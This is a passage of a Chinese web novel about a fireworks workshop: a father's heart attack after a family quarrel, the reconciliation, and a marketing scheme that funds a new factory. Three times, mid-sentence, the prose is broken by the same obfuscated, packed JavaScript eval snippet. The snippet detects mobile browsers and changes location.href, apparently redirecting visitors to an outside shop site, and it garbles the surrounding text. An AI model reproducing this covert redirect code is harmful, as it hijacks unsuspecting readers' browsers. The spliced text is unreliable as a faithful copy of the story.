今天他们过来,是贺元夕特意邀请的,他还想在分家时最后努力一次,看能不能劝服父亲搬迁,若是同意,当场就能把协议书给签了,免得夜长梦多。 现在看样子,只怕要难喽。 果然,贺元夕坐到唐珊珊身边,一眼都没扫过来,一看就是谈崩了。贺大有坐在主位,哗啦啦翻账本:“账面的现金一人一半,工人有愿意跟你走的,我不拦着。原料跟设备,也都算你一半,等你把厂子开起了再回来拉。” 贺元夕冷笑一声:“不用等以后了,现在就可以拉走。” 贺大有望他一眼:“哦?你这么快就找到地方了?” “是啊。”贺元夕转向祝平安,“就是你们那块地,可以吗?” 祝平安被他这一问弄蒙了:“诶?” 贺元夕仿佛根本没看见大家惊异的眼神,他残忍的笑着,几乎用一种报复性的口吻在说话:“二位,我有一个想法。我是星雨烟花工坊唯一的继承人,如果我签署一个协议书,承诺日后我继承了烟花工坊,一定立刻迁移, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981517|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你们能不能把西郊那块地先租给我?当然啦,租金我会付的,一直交到我迁移烟花工坊为止。” 这话一出,四座皆惊,汪师兄当先站起:“你说什么呢!这话真是……真是……” 真是不孝极了,是不是?就差指着爹的鼻子让他快死,告诉爹你老了,你终究犟不过儿子的,还是听摆布的好!贺元夕知道这话不该说,但他爹把他贬的一文不值时,何曾想过什么该说,什么不该说? 他不过是以其人之道还治其人之身,贺元夕感觉到一股痛快感,面对一个永远说不通的人,还能怎么样?偏偏这个人是他爹! 不这样做,他什么时候才能在父亲跟前挺直腰杆做人? 唐珊珊也搡了一把贺元夕,明显也不赞同,但贺元夕这会儿谁的话都听不进去。 他拍掉唐珊珊的手,继续追问:“如何?我已经起草了一份协议,如果你觉得可以,我们现在就可以签署。” 他是认真的!祝平安有点反应不过来,既然照付租金,那这块地还有什么吸引力?值得他这样当面跟老父亲翻脸? 温尔雅看出她的疑惑,伏在她耳边轻轻说:“厂子搬迁一次,不是小数目,他去别处开厂,一样要付租金,若是以租赁的名义先租下这块地,将来他能省一大笔。” 贺元夕说完,不去看祝平安两人的脸色,反而转过头,挑衅的看向父亲。 他等着父亲低头,从此父子间形势便可逆转,他也能出出心头的怨气;或者父亲给他两个耳光,正好可以趁势撕破了脸,结束这段不尴不尬勉强维持的父子关系。 他已经容忍太多,也太疲惫了,结束吧,让一切都结束吧! 汪师兄转过头看师父,他还是半合着眼睛坐在椅子上,不点头也不吭声。汪师兄急道:“师父,你说句话呀!” 贺大有对他的话还是毫无反应,唐珊珊隐约觉得有点不对了,走上前去,轻轻摇晃一下贺大有的身子:“师父?” 她的手一碰上去,贺大有的身子晃了一下,软软从椅子上滑下来,唐珊珊这才发现,他脸色铁青,胸口已经不再起伏。她慌忙叫道:“不好啦!师父晕过去了!” “师父!”汪师兄大急,连忙往前一扑,推开挡路的贺元夕,就往贺大有的身前扑去。一探心口,果然已经不跳了,他立刻给贺大有做起了胸外按压。 工人们也都慌张起来,唐珊珊的高叫分外刺耳:“都愣着干嘛?快去找车,马上送医院!” 巨人倒地,贺元夕愣在当地,他的心似乎也已经跟着不跳了。他茫然站在原地,身边的一切成了黑白画,有人焦急地说着什么,在他身边毫无意义地晃来晃去。他听不见也看不见,眼前只有着父亲铁青色的脸。 等他回过神来,贺大有已经被抬上了马车,汪师兄跟唐珊珊都跟着跳上车往医院去了,连公共安全部那两个差役也跟着上了车。院中只剩下他一个梦游般的站着,周边的工人都用敢怒不敢言的眼神看着他。 为什么这么看着我? 他拼命转动自己迟钝的头脑,脑子传来一阵阵的剧痛,他捂住额头,站立不稳,跌坐在地。 是了……是因为他气死了自己的父亲。 收在怀中的照片跌落出来,散了一地,一张全家福掉落在他眼前。 照片上的父母并肩坐在椅子上,他站在两人中间,俯下身子,两只胳臂分别搭在父母肩上,三人都笑的见牙不见眼。 83.心结 汪师兄已经累的直喘粗气,却依然坚持给师父做胸外按压。不时扬声询问:“走到哪了?” “还在银花街!” 赶车的唐珊珊也急的满脸是汗,把鞭子甩的山响,但银花街的拥堵不是靠她甩鞭子就能解决的,汪师兄每隔五分钟就要问一次,得到的答案永远是:“还在银花街!” 胸外按压是很耗体力的,20分钟后,即使是汪师兄这样的壮汉也顶不住了,祝平安望了一眼温尔雅,示意他上前接手。 温尔雅莫名其妙,若贺大有就这么去了,不也挺好的么?搬迁的最大阻力不存在了,贺元夕看样子是一定会跟他们合作的,且这是他们父子之间的事情,公共安全部从头到尾都没沾手…… 祝平安却误会他是不想在人前展示治愈术,小声伏在他耳边道:“不用治好,能不能想办法吊住一口气,让大夫治疗就好!” 温尔雅犹疑道:“若他去了……工作……” 祝平安瞪他一眼,心里说不出什么滋味:“你在想什么?那是人命!” 尽管并不能赞同,可温尔雅选择了一切听祝平安的。他换下汪师兄,也做出了胸外按压的姿势,却没摁实,指尖微不可见的白光一闪,几丝治愈神力经由他的指尖流经贺大有的身体。 一声微弱的叹息响起,贺大有鼻腔里喷出一股子浊气,他的自主心跳恢复了,脸色也稍微好看了一点。汪师兄喜形于色:“师父有心跳了!他没死!” 赶车的唐珊珊这才出一口气,方才师父倒下时,她一颗心几乎都要爆炸了,一半是为师父担心,她们师徒几年,毕竟也有了真感情;另一半就是担心贺元夕承受不了这个打击。 她看出贺元夕方才那些话是故意说的,是为了在父亲面前展示自己长大了,要求父亲给予他基本的尊重。他心里其实相当爱重父亲,若刚刚师父真是一口气上不来……贺元夕一辈子都不会原谅自己的。 恰好,车子终于拐出了银花街上了大路,一下子宽敞多了。唐珊珊扬起鞭子狠抽了一下马儿,车子带着滚滚浓烟,飞速向医院驶去。 急诊室里,医生摘下口罩,对迎上来的唐珊珊等人说道:“是心脏病发作,好在你们抢救的及时,病人现在已经脱离生命危险了,只要静卧修养就好。他上了年纪,不能动气,以后你们也要多注意。” 唐珊珊等人自然感谢医生不迭,医生摆摆手:“应该做的,谁是家属?先过来我这里签个字,然后到下面交钱办住院手续吧。” 唐珊珊略有点底气不足的站出来:“我是家属。” “你是他什么人?” “……儿媳妇?” “领证了吗?”医生看出她犹疑的口气,上下她打量一番:“你老公呢?最好叫他来签字。” “我在这。”从墙角外转出一个失魂落魄的人,正是贺元夕。汪师兄见了他大怒,上前就是一拳:“你还好意思来!不孝子,差点把师父气死了!” 贺元夕结结实实吃下这一拳,被打出了鼻血,祝平安连忙上前拉开汪师兄,唐珊珊心疼地捧起贺元夕的脸,怒道:“汪师兄你怎么打人!” “要打出去打,这是医院,我刚下手术台,可不想再出急诊!”医生也看不下去了,“病人还在里面躺着呢,你们还有心思打架!” 汪师兄虽然生气,但不好再发作下去,忍住气蹲在一旁,不再看贺元夕。贺元夕从地上起来,闷不吭声地把手术单子签了,又下楼去办了住院手续。 不知道他交了多少钱,居然搞到了一个豪华的单间病房。几人把贺大有推回来时,贺大有还在昏迷中,汪师兄冷言冷语道:“我来陪床照顾师父就好,你请回吧,医生刚刚交代师父不能再动气。” 贺元夕垂着头:“不,还是我来吧。” “你就盼着师父死是吧!”汪师兄的声音一下又大起来,祝平安立刻摆手压下来:“别吵!别吵!让贺师傅好好休息一下不行吗?” 折腾一番,最终还是决定由唐珊珊陪床,汪师兄回去管理工坊。至于贺元夕,他毕竟是法律意义上的家属,汪师兄看他再不顺眼也没用,他必须得留下。 贺元夕坐在医院的走廊里,闷闷地一言不发。死掉的不是贺大有,而是他身上的一股子气。 祝平安把温尔雅留在病房里,走出来坐在他身边,递给他一个杯子。贺元夕喝了一口,杯子里装的是酸酸甜甜的乌梅汤。他小的时候最爱喝这个,父亲经常叫住小贩买上一大桶。 思及此,他不仅眼圈儿红了,祝平安轻叹一声:“既然把父亲看的那么重,何必说那种话气他呢?” “我原本不想的!他把我当儿子,可我不想永远只是儿子。”贺元夕抽噎道:“我今年都几岁了?我也有我的生活,有我必须要做到的事情啊!” 他把脸埋在手心,双肩塌下去:“为什么他就是不理解我,不信任我?我的理想在他眼里一文不值,今天说我掉进钱眼了,明天说我一点人情味儿都没有……我在他眼里,就这么差劲吗?” 祝平安等他哭够了,才发问道:“那你的理想究竟是什么呢?” 贺元夕抬起了头:“我的理想……娘走的时候,爹为她点燃了漫天的烟花送行。她虽然不知道我们是谁,但看到烟花时,依然笑的那么高兴。” “从那天起,我就想,我要让星雨烟花成为全地府最大的品牌,大街小巷每户人家,都买我们的烟花。到那时,不管什么时候抬头望去,让她笑起来的烟花都永远挂在天上。” “为了这个目标,我们必须提高产能,如果没有机械帮忙,人力生产跟不上……” “这件事,你跟你父亲说过吗?”祝平安打断了他的话。 “说过,可是他不同意……” “不。”祝平安摇了摇头,强调了一遍:“让母亲感到幸福的烟花,你希望让它能永远绽放在天上,这一点,你跟他说过吗?” 贺元夕怔在原地。 屋里,贺大有轻轻抽了一口气,眼皮眨动了一下,唐珊珊敏感地发现了这个信号,立刻紧张地坐在床边:“师父?你醒了?” 贺大有一时间还茫然的很,似乎不知道自己是谁在哪里,唐珊珊赶忙出去叫人,温尔雅把他扶起来喂了几口水,他才清醒过来。 病房门打开,祝平安和贺元夕出现在门前。 贺大有一见到儿子,便再次闭上眼,背过身去。方才听混小子一番话,他真是灰心愤怒至极,差点就丢了老命,现下他还过来,是嫌他死得不够快? 然而一切跟他想的不一样,他只听见一阵沉重的脚步声一步一步挪到床边,随即是噗通一声,膝盖落地的声音,贺元夕将额头轻轻抵 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“都是多亏了你们二位的帮忙,请进,家父有一些事情要跟二位商量。”贺元夕笑的爽朗多了,把大家让进了屋里。 贺大有在床上靠着,一向僵冷的面部线条现在也柔和下来。见到二人进门,居然还想要下地,祝平安慌忙制止:“您别起来,有话就躺着说。” 贺大有叹道:“元夕都跟我说了,二位帮忙送我到医院,救我性命还是其次,最主要的是解开了我们父子的心结……我老头子感激不尽。” 他招手把儿子叫到身边:“烟花工坊迁移的事情,今天就定下来吧。以后,你就带着人到西郊那块地开厂吧,搞搞你的流水线自动化的东西。这下,随了你的心愿,高兴了吧?” 贺元夕感激地叫道:“爹……” 贺大有拍拍儿子的肩膀,继续说道:“多的话就不用说了,你是我的儿子,不是别人。得知你没有忘了你的娘,我这心里高兴,你想怎么飞,就怎么飞吧。” 他昂头询问那两个差役:“你们的协议书带来了吗?我现在就签字。” 他等着人拿协议书给他,可他却看见祝平安没有动。她深深地凝望着他,问道:“您……离开那个院子,不能再做古法烟花,不觉得遗憾吗?” 贺大有怔了一下,他本以为这两个差役会欢天喜地地掏出协议书让她签字,这样就算完成了工作任务,却不想他们有此一问。 遗憾,又能怎么样呢?他本以为永远不会离开的地方,浸透着金娥气息的一砖一瓦……但是,儿子还年轻,他不能把他也困在旧日的回忆里,总得向前看,不是吗? 祝平安走到床前,拉住了老人的手。 “您都是为了儿子,我明白。”她轻声细语,“但,您也不必这么委屈自己,您真正想过的日子,还是住在这个有回忆的工坊里,做着妻子最爱的手工烟花吧?” 这个年轻的女差役用一双乌溜溜的大眼睛盯着他:“您已经付出了一辈子,自己的幸福,难道您就一点都不考虑了吗?” 可是,她说这话有什么意思?她还有什么办法? 感受了贺家父子犹疑的眼神,祝平安自信的笑了起来。 “其实有句话,我刚刚就想说,只是一直没找到机会。我倒是有个方案,让二位都能得偿所愿,不知道你们愿不愿意听一听?” 84.搬厂不搬家 这个方案说穿了也很简单,就五个字:“搬厂不搬家”。 简单的说,就是贺元夕带人去西郊那块地开厂,但银花街的烟花工坊依然保留,让贺大有居住使用。 贺元夕迷惑道:“我不明白,这样的话,烟花工坊不还是没搬走吗?到底有什么区别?” 祝平安摇摇手指笑的狡黠:“不不不,区别大了去了。” 此前她最心烦的不是迁移问题,而是柴编辑那篇报道带来的社会舆论,环保组织和烟花工坊的冲突、以及十天的死亡倒计时。现在温尔雅的舆论战初见成效,燃眉之急已经不在,烟花工坊真正的问题反而好解决了。 影响周边居民的不是烟花工坊的存在,而是烟花工坊生产过程中带来的噪音、污染、拥堵和爆炸风险。所谓迁移厂址,要的也不过是迁移生产线而已。 若是贺元夕在西郊建厂,将所有的工人、原料都转移过去,留在这里的工坊只是一栋旧房子,对周边居民根本没有影响。 当然,她也不打算将旧工坊完全废弃。抛开她对贺家父子的个人滤镜不谈,星雨烟花工坊里保留的是一整条古法生产线,这份手艺只怕在市面上是独一份,具有一定的文化价值和教育价值,就此失传是整个社会的损失。 如果将旧工坊改为古法烟花文化博物馆,贺大有身为匠人,依然可以在这里继续工作,还可以带着来参观的游客学着做烟花,将这份手艺科普下去,岂不也是美事一桩? 烟花燃放虽有一定的污染,但抛开剂量谈影响那是耍流氓。若这里只贺大有一个匠人,最多一天再带着十几个游客做手工,那么需要的火药原料自然大大减少,即使全部爆炸了也就是让人吓一跳而已,基本造不成伤害。 至于污染,每天燃放十几个烟花如果也有污染的话,那过年大家都不用放鞭炮了。 如此一来,贺元夕依然可以在有金娥气息的工坊里继续做烟花,顺便满足他把古法传承下去的愿望;而贺元夕也能离开父亲的领地,自己闯荡出一片天地,两全其美。 祝平安将这其中的道理讲给贺家父子听,听得他们俩的眼睛都亮了,温尔雅也是眸中闪过讶然之色,祝平安笑意满满,期待地看着他们:“二位,觉得我这个主意怎么样?” 贺元夕脱口而出:“好啊,我怎么就没想到呢?要是早能想到这个主意,我跟我爹也不会闹成这样了。” 祝平安笑笑:“这也是你爹之前说要跟你分家,我才有这个灵感,其实我也还没跟部里商量。但我想,阻力应该不会太大,只要你们同意,我今天就回去说。” 她满以为贺大有会点头,谁知,老头子沉吟片刻,还是摇了摇脑袋:“多谢你这样为我着想,但……这样做,不合适。” 贺元夕一愣,忽然也像是想到了什么,脸色逐渐沉重下来。贺大有见他也明白了,又转向祝平安:“您的想法很好,但却忘了这个。” 他手指一并,比划了一个点钞票的动作:“我们没有那么多钱啊。” “我虽然不知道办厂子是怎么回事,但是肯定要花不少钱。我们账上那些现金恐怕不够,银花街的地不卖,怎么开厂啊?要是就一点点的积攒,岂不是又要在银花街生产十几年的烟花?” 祝平安一时间也有点瞠目结舌了:“这……这……” 她也是陷入思维定式了,总以为商人肯定有不少钱的,没想到工坊的经营状况也是紧巴巴啊!资金什么的,她还真没想到! 见眼前的女差役尴尬的样子,贺元夕温和地拍拍她的手:“你的好心,我们都领了。你待我们好,我们也不能不识抬举,等我出了院,把那块地卖了,马上就搬走。” “只是钱的问题吗?”一道清泉般的声音响起来,那个生的比烟花还好看的男差役走过来,对贺家父子粲然一笑,“如果只是担心这个,您就把心放在肚子里吧。明天你们就知道了,钱,你们暂时是不用愁了。” 贺大有没明白他的意思,祝平安却仿佛有点明白了:“你是说?” 温尔雅轻轻点头:“铺垫已经足够了,现在就差一把火了。” 他转向贺元夕:“如果工坊现在加班加点的开工,一天的产量能有多少呢?” “大约每天能产6000支,全体赶工的话,大约8000支是可以的。” “目前你们的烟花售价是多少?” “花样不同,价格不等。最贵的花千树一支就要4万。” “这是零售价?” “不,是我们给销售端的价格,零售价其实要到10万元左右。” “净利润呢?” “一支其实赚的不多的,去掉原料和工人费用,一支我们也就赚个五千元。我估计了一下,开新厂起码准备个30亿吧,现在家里的现金也就十二三亿的样子,还差一大半呢。” “最近订单多吗?” “汪师兄说比较多……”贺元夕挠挠头,“都是新客户,但家里最近事情多,我还没跟他们签合同呢。” “从今天起,取消大宗供货。”温尔雅下巴一抬,给了他这个指令:“这几天你回不去,请汪师兄带着工人加加班吧,只做最贵的花千树,一天最少出货一万只。” 他眼睛一眯:“从明日起,不再经过销售端,你们要在烟花工坊门前重新开店,厂家直销,一支售价——十五万元。” 贺元夕一时间有些结巴了,他大概能懂取消大宗供货,厂家直销的意图,不就是提高利润率么?可是这涨价……还是一口气涨了50%的价格,他就有点看不懂了。 他不由得皱眉:“这能卖得出去么?”这两个人虽然对他帮助很大,但要是销售不出去,坑的可是自己的工坊啊。 “先这么卖三天,若是销售不出去,你再按照原价供给销售端。”温尔雅自信道,“只不过,我想那时候你就不会这么做了。” 慎重考虑半晌,贺家父子最终还是决定先按照温尔雅的方案试试看。看看已经叨扰许久,祝平安两人也不打扰贺大有养病,两人这就告辞了。 温尔雅在贺家父子面前故作高深,实际上有一肚子的生意经想跟祝平安分享,然而,祝平安始终没有给他这个开口的机会。 往常,她总是停下来等他并肩而行,但今天,始终领先着一个身位,也不主动跟他说话。他敏感地察觉到,她的情绪好像有点不对头,仿佛憋了一肚子气,只是方才当着人不好显露,现在才发出来。 这是怎么了? 他一腔热情冷下去不少,取而代之的是惴惴之意,好在祝平安不是那种总要人猜她心思的性格,她心里有什么话,向来立刻便说。 一连转过三个街角,终于拐出银花街,两侧已无行人,她这才停下脚步,略有几分愠怒地看着他:“方才,我让你抢救贺师傅,你为何犹豫?” 温尔雅方才揣摩了一路,早想到就是这件事让她心里不痛快,连忙乖乖认错:“是我的错,没有第一时间就听你的话,下次再也不敢了。” 姿态很低,可一点都不觉得他有听进心里去,祝平安瞪他一下:“别避重就轻,我问你什么,你就回答什么。” 眼看躲不过去,温尔雅只得说:“是因为……因为我不想救他。” “我就猜到。”祝平安冷笑一下,“至于为什么不救他,我也有个猜想,我说给你听听,看我说的对不对。” “平安……”温尔雅嗫嚅一句,看祝平安脸色难看,知道她真生气了,立刻把话咽了下去,“……你说。” “你想着,贺师傅死了,搬迁的最大阻力就没了,而这跟我们毫不相干,你也乐见其成。” 这话不假,温尔雅垂着头:“我是希望你能早点完成任务,不要太累……” 祝平安看他一眼,忽然觉得有些疲惫,一种牛头不对马嘴的疲惫。他是当真把她放在心上,好像也当真……听不懂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16989682|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她的话。 还是拿猫和鱼来比喻,她同时负责照顾这两样动物,不希望猫和鱼打起来,希望他们能和平相处。 而温尔雅呢?他一心想帮助她完成任务,整个人的思维方式却是只求结果不求过程。有一天他看到猫生病快死了,还很高兴:猫死了就永远不会跟鱼打起来了。 这是啥啊?这合理吗?这人的思维咋能歪成这样呢? 从上次的桃源小区案子起,她就发现温尔雅有这种倾向。一切只求让她舒服满意不操心,只要没闹出乱子,问题有没有解决不是他的事。说的不好听一点,都有点草菅人命的嫌疑了。 她忍不住道:“难道你就没想过怎么解决问题吗?” “我也有考虑啊。”温尔雅嗫嚅道:“我去找了报纸……” 这倒是,舆论战的精细操盘证明了他不是懒怠管事,只想敷衍。可这样,祝平安就更加搞不懂他在想啥了。 温尔雅垂着蝶翼般的睫毛,看着祝平安的脸色忽阴忽晴,心里也是忽上忽下。他被她讨厌了吗? 不行,不能这样……他得想想办法! 他上前一步,拉住了祝平安的袖子,像是害怕被丢出家门的小狗崽,拼命的摇晃尾巴、耍把戏,来祈求主人不要抛弃他:“我明白,你说的是,都是我错了。你觉得我哪里做的不好,就跟我说,罚我骂我都可以的。” 他下颚的肌肉绷紧了,虽然脸色发白,可还是尽力挤出一个笑脸来,生怕惹来她的厌弃。 瞧着他这副样子,祝平安一方面觉得有点怜惜他,一方面也觉得压力山大:“好了好了,你这是做什么?也太夸张了!” 见她心软了一点,温尔雅故意做出更加柔顺的姿态,拽着她的袖子左摇右晃:“我知道我做事不周到,但你放心,只要你开口,我一定都能改正!” 这样美的一张脸,再这样对着她一撒娇,祝平安只觉得心头酥痒,晕乎乎的成了一块融化的奶酪,脸也绷不住了。 仔细想想,上次她对他说过几句重话之后,他也算有些进步。起码这次猫是意外生病,否则,换了几个月之前,祝平安都怀疑他会想办法喂猫吃点耗子药。 唉……过而能改善莫大焉,撒娇男人最好命啊,还能怎么办呢?她毕竟是领导,下属办事风格有偏差,也是她管理不力,没有事先申明办事的目的…… 瞧着他怯生生的脸,她长叹一声,尽量和颜悦色地说:“我们办事的终极目的是让大家过的快乐,你记住这一点。” 温尔雅自然是点头如捣蒜:“我记住了,一定好好遵守,回去我就把这句话写出来挂在我床头,每天看着来提醒我。” 要是换个人,祝平安就疑心他是拍马屁了,可温尔雅说的诚恳无比,一副要把她的话当成金科玉律来供奉的样子,让她不禁失笑,反而觉得他可爱起来。 看着他诚挚的黑眼睛一眨不眨地盯着她,她难免有了种想要调戏他的感觉,瞧着四下无人,她戏谑地挑起他的下巴。 他自然是一动不动,两手背在身后,乖乖地让她捏着,为了配合她,还特意下蹲了一点,好像犯了错误的小学生一样。 再温和的人,看到他这副姿态,都忍不住要拿出骨子里的征服欲,祝平安就这样“恶狠狠”地发起了威:“还有,我要做什么事情,你不要老是跟我唱反调。听见了?” 温尔雅乖巧道:“听见了。” 真可爱啊……祝平安忍不住,在他脸上狠狠揉了两把:“记住,身为上司,我不喜欢指挥不动的下属;身为女人,我不喜欢跟我对着干的男人,你懂?” 明白明白!不就是妇唱夫随吗!温尔雅眼睛都亮了起来,刚刚的三分委屈全部不翼而飞,拼命点头。他一定好好修炼男德,以她为天,做一个出得厅堂下得厨房模范标杆的贤夫! 好的很,好得很,祝平安这才放过他,哼着小调背着手,迈着大老爷的四方步往单位走去了。 85.财源滚滚 “……他只拿走了那张照片,从今以后,我再也没见过他。现在我已经忘了他的样子,可那天的烟火无比绚烂,每每看到夜空有烟花划过,我就能想起,有一个男孩,偷偷爱过我。” “……那天,烟花美丽的像是一个梦。我捧着一束玫瑰,傻乎乎地站在她面前,希望她答应跟我交往。结果还没开口,她就笑了,笑完之后,我哭了,她也哭了。” “……我们结婚那天,鞭炮噼里啪啦响了整天,他说这是他一生中最高兴的日子,他要把鞭炮放的山响,让全地府的人都知道,我是他的妻子了。” 今天王姑娘破天荒起了个大早,出去买早饭和报纸了,王婶乐得悠闲,一接过报纸就直奔人间真情版块,阅读系列报道之三:《烟火一瞬光华,真情永垂不朽》。 这一篇是读者故事集锦,王婶被上面一则则温情的故事感动的眼泪稀里哗啦,连早饭都不想吃了。还是王姑娘往她碗里夹了一个汤包:“快吃吧,凉了就不好吃了。” 王婶眼泪汪汪地咬开汤包,唉?怎么一股螃蟹味? 她眉毛立起来,一下就从浪漫的爱情故事里回到了现实世界:“你个死丫头买的什么早饭啊?蟹黄汤包!三笼汤包不要五千块啊!真是不当家不知柴米油盐贵,花钱这么大手大脚的,一点都不知道节省!早知道还是我自己去了……真是……” 王姑娘被她念叨的举手投降:“偶尔也吃点好的嘛!就当这汤包是羊城小报请您吃的不行吗?” “怎么就是报纸请我吃的了?又不是报社买给我的!” 王姑娘本想解释一下,但想到要是让老娘知道有人喜欢自己,肯定又要念叨起来没完没了,她还是选择了闭嘴:“没事,没事!买都买回来了,多吃几个,要是凉了不是更糟蹋钱了?” 这话有理,王婶的嘴立刻被汤包堵上,偃旗息鼓了。她一边叼着包子,一边看报道。系列报道看完了,又返回去看头版,只见依然是烟花工坊相关的报道:《烟花工坊喜迁新址 手工烟花或将绝版》 “……贺大有师傅即将退休,烟花工坊也将搬迁升级,古法烟花以后将很难批量生产了。如果各位读者想要购买手工古法烟花,需要抓紧这几个月的窗口时间,前往银花街1号星雨烟花工坊购买,数量有限,先到先得……” 读完这句话,王婶三两口就把包子吞进喉咙里,烫的嘶哈嘶哈的,还催王叔:“你也快点吃!吃完了跟我出门一趟!” “干嘛去?”王叔慢条斯理地享受着蟹粉汤包,还往里倒醋。 “去星雨烟花工坊买烟花啊!” “不年不节的,买什么烟花?” “等到了年节,买到的可就不是手工烟花了!”王婶强调,“没看报纸说么,将来人家也要办工厂了,那会儿就买不到手工烟花了!” “买不到就买不到呗,说不定办厂之后,他们的烟花还更便宜了呢,着什么急!”王叔依然慢条斯理,男人一般都欠缺仪式感,对他来说烟花是不是手工制作区别不大,他只愿意买便宜的。 王婶急的要跺脚了:“我才不要机器生产的东西!我就要古法手工制作的!那机器有什么意思啊?都是没灵性的东西,人做的才有真感情在里头呢!” 她抖抖报纸:“现在囤一些,将来孩子办婚礼的时候,咱们也好给她放啊!你看,这上面人说的,多浪漫啊!人家星雨的古法烟花代表的就是爱情!咱闺女必须也得有!” 王叔这下有点感兴趣了,王姑娘却大叫:“什么我结婚?那还不知道哪年哪月的事情呢!” “好好好,你不结婚,是我跟你爸金婚庆典的时候想放烟花行了吧?”王婶翻个白眼,“你也得跟我们一块去,要不然我们拿不动!” 不管王姑娘怎么哀嚎,都被王婶铁腕镇压,一家三口吃完早饭就直奔银花街,此时,银花街上已经是人山人海了。不少人是抱着跟王婶一样的心态来的:买几盒自己用就行了,尤其是给孩子婚礼上用,又有面子,又有意义。 但也有一些人抱着其他的想法:经过几期报纸的渲染,星雨烟花俨然已经成了一个传奇,它的初代手工烟花,将会被赋予不一般的意义!要是贺大有当真退休了,那手工烟花自然就跟着绝版,物以稀为贵,现在囤货,将来自然有涨价的一天! 顾客都抱着这种想法,今天星雨工坊的生意简直是好到爆棚!唐珊珊负责售卖,架着喇叭嘶吼:“不要拥挤!排好队!一个一个来!” 她本有些心虚,认为烟花涨价了,恐怕这些顾客都是看热闹的多,购买的少,岂知世人最喜欢的就是买涨不买跌,手工烟花既然涨价,那将来必定会有更高的涨幅!买就对了!多买几盒! 唐珊珊吃惊地发现,她手下的烟花以飞一般的速度消失,她不得不打发人到后面:“看看汪师兄那里还有多少货?统统搬到前面来!” 汪师兄在后面,带着工匠们埋头苦干:“什么?前面的货供不上了?三小时前不是刚刚放过去五千支吗?” 他顾不上擦汗,低着头快速填装火药:“这还有三千支,你先搬过去吧!兄弟们,加油干,努力今天能出一万支的货,加班费保证给足!” 这一会儿,几乎全城想买的人都已经聚集了过来,少不了有些大户,一买就是二三百支,连眼睛都不眨!三千支烟花根本就是杯水车薪,一个小时不到,烟花再次售罄! 今天的销售就这样结束了,买不到的群众抱怨连连,差点就不让唐珊珊走,还是她拼命道歉才脱了身。 这样下去不行啊! 唐珊珊不得不再次请援兵了,她叫人去公共安全部问温尔雅:能不能实行限购制度?一人只能购买十支? 回复很快就过来了,只有两个字:“可以。” 于是工坊门前贴上了新的限购制度,报纸上也同步刊登了这个消息。唐珊珊本以为这样一来,顾客会少一些,结果第二天刚一开门她就蒙了:来的人起码是昨天的五倍! 温尔雅表示,唐珊珊还真是有些生意头脑,限购这种饥饿营销,最能点燃群众的购买欲啦!就算原本只想买五个,看到限购也想买足十个再说呢! 更何况,既然是按人头限购,那还不得把家里的七大姑八大姨都带上充人头? 如此一来,今天的顾客比昨天更多也就不足为奇了。来排队的不少人原本没有关注星雨烟花是怎么一回事,都是被亲友央求来凑人头的,如此一来,他们倒也对星雨烟花留下了浅浅的印象。 在排队过程中,贺家父子的古法烟花跟爱情故事被反复传唱,飞天烟花厂的黑公关事件也被拉出来再次行刑,不知不觉间,星雨烟花已经成了人尽皆知的明星品牌,飞天则一蹶不振。这其中的好处,足够贺元夕享受十几年。 三天后,到了一周盘账时刻,贺大有看着唐珊珊送来的数字,只觉得眼冒金星,差一点心脏病再次发作:“我不是做梦?” 账目表上,营销额部分写着明晃晃的75亿!至于净利润,更是有五十多亿! 贺元夕也是瘫坐在椅子上大气不敢喘,一星期的销售额,足以抵得上他们家上百年的积累,而且唐珊珊说,现在有多少就能卖多少, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16997169|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要不是产能实在跟不上,破百亿也是一眨眼的事情! 这就是广告和营销的力量么! “这种红利期不能持久,其实最后两天,营销额已经有所下滑。”温尔雅笑盈盈的接过话来,“这几天其实已经把群众的购买力榨取的差不多了,这种盛况以后不会再出现了。” “没事,我们已经满足了……”贺元夕简直是头晕目眩了,这么多钱,足够他给自己置办一个最豪华的厂房,还能有富余做启动资金……也许,还有钱给珊珊一个最梦幻的婚礼…… 想到这里,他不由得咧嘴笑了起来。贺大有看儿子一脸没出息的样子,只得替他问正事:“那烟花博物馆的事情,你们跟领导说了吗?” 这个……祝平安有点汗颜了:“最近我们领导请假了,所以还没商量。” 这话不是撒谎,张松鹤一口气请了一周的假,发传真也不回,谁知道他到底跑哪里去了?现在一大堆工作就等着他批复,她虽然代行副部长之责,但这事情她说了不算,必须张松鹤出面协调……祝平安恨得牙痒痒,真能耽误事! 好在贺大有并不着急,即使烟花博物馆开不成,他也一样能在旧工坊里生活,闲来研究研究烟花。汪师兄已经决定跟着他继续学习古法了,有这个徒儿相伴钻研,他的生活也完全不无聊。 